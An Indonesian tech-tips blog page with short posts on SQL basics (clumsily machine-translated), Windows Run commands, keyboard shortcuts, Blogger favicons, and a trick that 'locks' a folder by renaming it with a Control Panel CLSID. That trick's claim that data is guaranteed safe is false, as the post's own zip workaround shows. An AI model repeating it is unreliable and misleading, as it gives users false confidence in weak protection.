Apa itu SQL? * SQL stands for Structured Query Language SQL singkatan Structured Query Language * SQL lets you access and manipulate databases SQL memungkinkan Anda mengakses dan memanipulasi database * SQL is an ANSI (American National Standards Institute) standard SQL merupakan Ansi (American National Standards Institute) standar What Can SQL do? Apa yang bisa SQL lakukan? * SQL can execute queries against a database SQL dapat melakukan pencarian terhadap database * SQL can retrieve data from a database SQL dapat mengambil data dari database * SQL can insert records in a database SQL dapat memasukkan catatan di database * SQL can update records in a database SQL dapat memperbarui catatan dalam database * SQL can delete records from a database SQL dapat menghapus data dari database * SQL can create new databases SQL dapat membuat database baru * SQL can create new tables in a database SQL baru dapat membuat tabel dalam database * SQL can create stored procedures in a database SQL dapat membuat prosedur disimpan dalam database * SQL can create views in a database SQL membuat dapat dilihat di database * SQL can set permissions on tables, procedures, and views SQL dapat mengatur perizinan tabel, prosedur, dan dilihat SQL is a Standard - BUT.... SQL merupakan standar - NAMUN .... Although SQL is an ANSI (American National Standards Institute) standard, there are many different versions of the SQL language. Meskipun SQL merupakan Ansi (American National Standards Institute) standar, terdapat berbagai versi dari bahasa SQL. However, to be compliant with the ANSI standard, they all support at least the major commands (such as SELECT, UPDATE, DELETE, INSERT, WHERE) in a similar manner. Namun, yang akan kompatibel dengan standar Ansi, mereka semua dukungan minimal perintah utama (seperti SELECT, UPDATE, DELETE, INSERT, DIMANA) dengan cara yang sama. Note: Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard! Catatan: Sebagian besar SQL database program juga memiliki ekstensi milik mereka sendiri di samping standar SQL! Using SQL in Your Web Site Menggunakan SQL di situs web Anda To build a web site that shows some data from a database, you will need the following: Untuk membangun sebuah situs web yang menunjukkan beberapa data dari database, Anda akan memerlukan berikut: * An RDBMS database program (ie MS Access, SQL Server, MySQL) Sebuah program database RDBMS (yaitu MS Access, SQL Server, MySQL) * A server-side scripting language, like PHP or ASP Sebuah server-side scripting bahasa, seperti PHP atau ASP * SQL * HTML / CSS HTML / CSS RDBMS RDBMS stands for Relational Database Management System. RDBMS singkatan relasional Database Management System. RDBMS is the basis for SQL, and for all modern database systems like MS SQL Server, IBM DB2, Oracle, MySQL, and Microsoft Access. RDBMS adalah dasar untuk SQL, dan untuk semua database modern sistem seperti MS SQL Server, IBM DB2, Oracle, MySQL, dan Microsoft Access. The data in RDBMS is stored in database objects called tables. Data dalam RDBMS disimpan dalam database benda yang disebut meja. A table is a collections of related data entries and it consists of columns and rows. Sebuah tabel adalah kumpulan data yang berhubungan dengan masukan dan terdiri dari kolom dan baris
[+/-] Selengkapnya...
[+/-] Ringkasan...
Kunci Folder “Rahasia” Anda… User Rating: / 1 PoorBest Written by tasikisme.com Saturday, 19 April 2008 21:22 Anda pasti punya Folder Rahasia di computer anda yang berisi file-file penting dan dokumen-dokumen pribadi? Dan anda pasti tidak menginginkan bila ada orang lain yang membuka Folder Rahasia anda dan mencuri data-data pribadi anda kan?. Nah Trik berikut ini akan menunjukkan kepada Anda bagaimana mengunci Folder Rahasia anda, hingga tidak bisa diakses atau dibuka oleh orang lain dan data anda dijamin aman. Untuk menggunakan trik ini anda tidak memerlukan software apapun, yang anda lakukan hanya me-rename folder anda. Inilah langkah-langkahnya. Misalkan anda punya Folder dengan nama DataRahasia, untuk mengunci folder anda tersebut caranya sangat mudah cukup anda rename folder anda dengan memakai akhiran .{21EC2020-3AEA-1069-A2DD-08002B30309D} misal semula folder anda bernama DataRahasia maka renamelah menjadi DataRahasia.{21EC2020-3AEA-1069-A2DD-08002B30309D} dengan pemberian nama baru tersebut (rename) itu artinya windows akan mengarahkan folder tersebut ke Control Panel. Jadi ketika ada orang yang membuka Folder DataRahasia anda, maka orang tersebut akan membuka Control Panel bukan isi folder anda. Itu artinya data pribadi anda aman dari tangan-tangan jahil. Untuk membuka kembali Folder anda secara normal, misal anda ingin melihat data anda, cukup anda rename folder anda tadi ke nama semula, misal jadi DataRahasia seperti sebelum direname. Tips ini berjalan dengan baik di Windows XP SP.2 Gimana? Sederhana bukan? Catatan : Ada banyak yang mengalami kesulitan tentang tidak bisa membuka kembali folder yang telah direname, salah satu solusi termudahnya adalah : pastikan di komputer anda terinstal program Winzip kemudian klik kanan pada folder yang tidak mau di rename misal DataRahasia.{21EC2020-3AEA-1069-A2DD-08002B30309D} kemudian klik “add to zip file” hingga akan tercipta file DataRahasia.{21EC2020-3AEA-1069-A2DD-08002B30309D}.zip, setelah itu double klik file zip yang baru tercipta tersebut, dan anda akan melihat file yang terdapat dalam folder tersebut. Setelah itu di jendela Winzip, pilih menu Actions-->Select All (atau anda cukup tekan Ctrl+A) sehingga semua File dalam Winzip tersebut terpilih, setelah itu tinggal anda Drag file tersebut ke folder lain, atau ke dekstop. That’s Al
[+/-] Selengkapnya...
[+/-] Ringkasan...
Menu "Start | Run" pada Windows memiliki banyak fungsi yang bisa jadi menunjang pekerjaan kita sehari-hari di depan komputer, apalagi beberapa aplikasi standar windows tidak ditampilkan pada menu start maupun di control panel. Berikut daftar aplikasi windows dan perintah yang diketikkan pada menu RUN. Accessibility Controls "access.cpl" Add Hardware Wizard "hdwwiz.cpl" Add/Remove Programs "ppwiz.cpl" Administrative Tools "control admintools" Automatic Updates "wuaucpl.cpl" Bluetooth Transfer Wizard "fsquirt" Calculator "calc" Certificate Manager "certmgr.msc" Character Map "charmap" Check Disk Utility "chkdsk" Clipboard Viewer "clipbrd" Command Prompt "cmd" Component Services "dcomcnfg" Computer Management "compmgmt.msc" Date and Time Properties "timedate.cpl" DDE Shares "ddeshare" Device Manager "devmgmt.msc" Direct X Control Panel (If Installed)* "directx.cpl" Direct X Troubleshooter "dxdiag"
[+/-] Selengkapnya...
[+/-] Ringkasan...
CTRL+X (Cut) CTRL+V (Paste) CTRL+Z (Undo) DELETE (Delete) SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin) CTRL while dragging an item (Copy the selected item) CTRL+SHIFT while dragging an item (Create a shortcut to the selected item) F2 key (Rename the selected item) CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word) CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word) CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph) CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph) CTRL+SHIFT with any of the arrow keys (Highlight a block of text) SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document) CTRL+A (Select all) F3 key (Search for a file or a folder) ALT+ENTER (View the properties for the selected item) ALT+F4 (Close the active item, or quit the active program) ALT+ENTER (Display the properties of the selected object) ALT+SPACEBAR (Open the shortcut menu for the active window) CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
[+/-] Selengkapnya...
[+/-] Ringkasan...
Saat surfing di Internet, Anda pasti sering mendapati sebuah website/blog yang memiliki icon unik pada address barnya. Icon standar saat Anda membuat sebuah blog baru di blogger seperti terlihat berupa icon
Sekarang bagaimana merubah icon tersebut dengan icon yang anda defenisikan sendiri ? Berikut langkah-langkahnya :
Login ke akun blogger anda disini
Selanjutnya pilih Layout - Page Elements - Edit HTML
Pada jendela Edit HTML, tambahkan/rubah kode berikut yang berada dalam tag .... .
Silahkan ubah lokasi icon/gambar pada teks yang berwarna hijau di atas dengan link gambar Anda sendiri, untuk memasang gambar Anda di Internet, cukup banyak hosting gratis yang bisa Anda gunakan, salah satunya di 000webhost.com, photobucket.com, googlepages.com, dll. Atau Anda bisa memanfaatkan link-link berikut :
http://img87.imageshack.us/img87/5862/image1an1.gif
http://img110.imageshack.us/img110/6218/image2ie0.gif
http://img139.imageshack.us/img139/83/image5oa7.gif
http://img412.imageshack.us/img412/3808/image11pc0.gif
http://img264.imageshack.us/img264/7575/image16kn8.gif
Setelah selesai, simpan template anda. Selamat Mencoba !
[+/-] Selengkapnya...
[+/-] Ringkasan...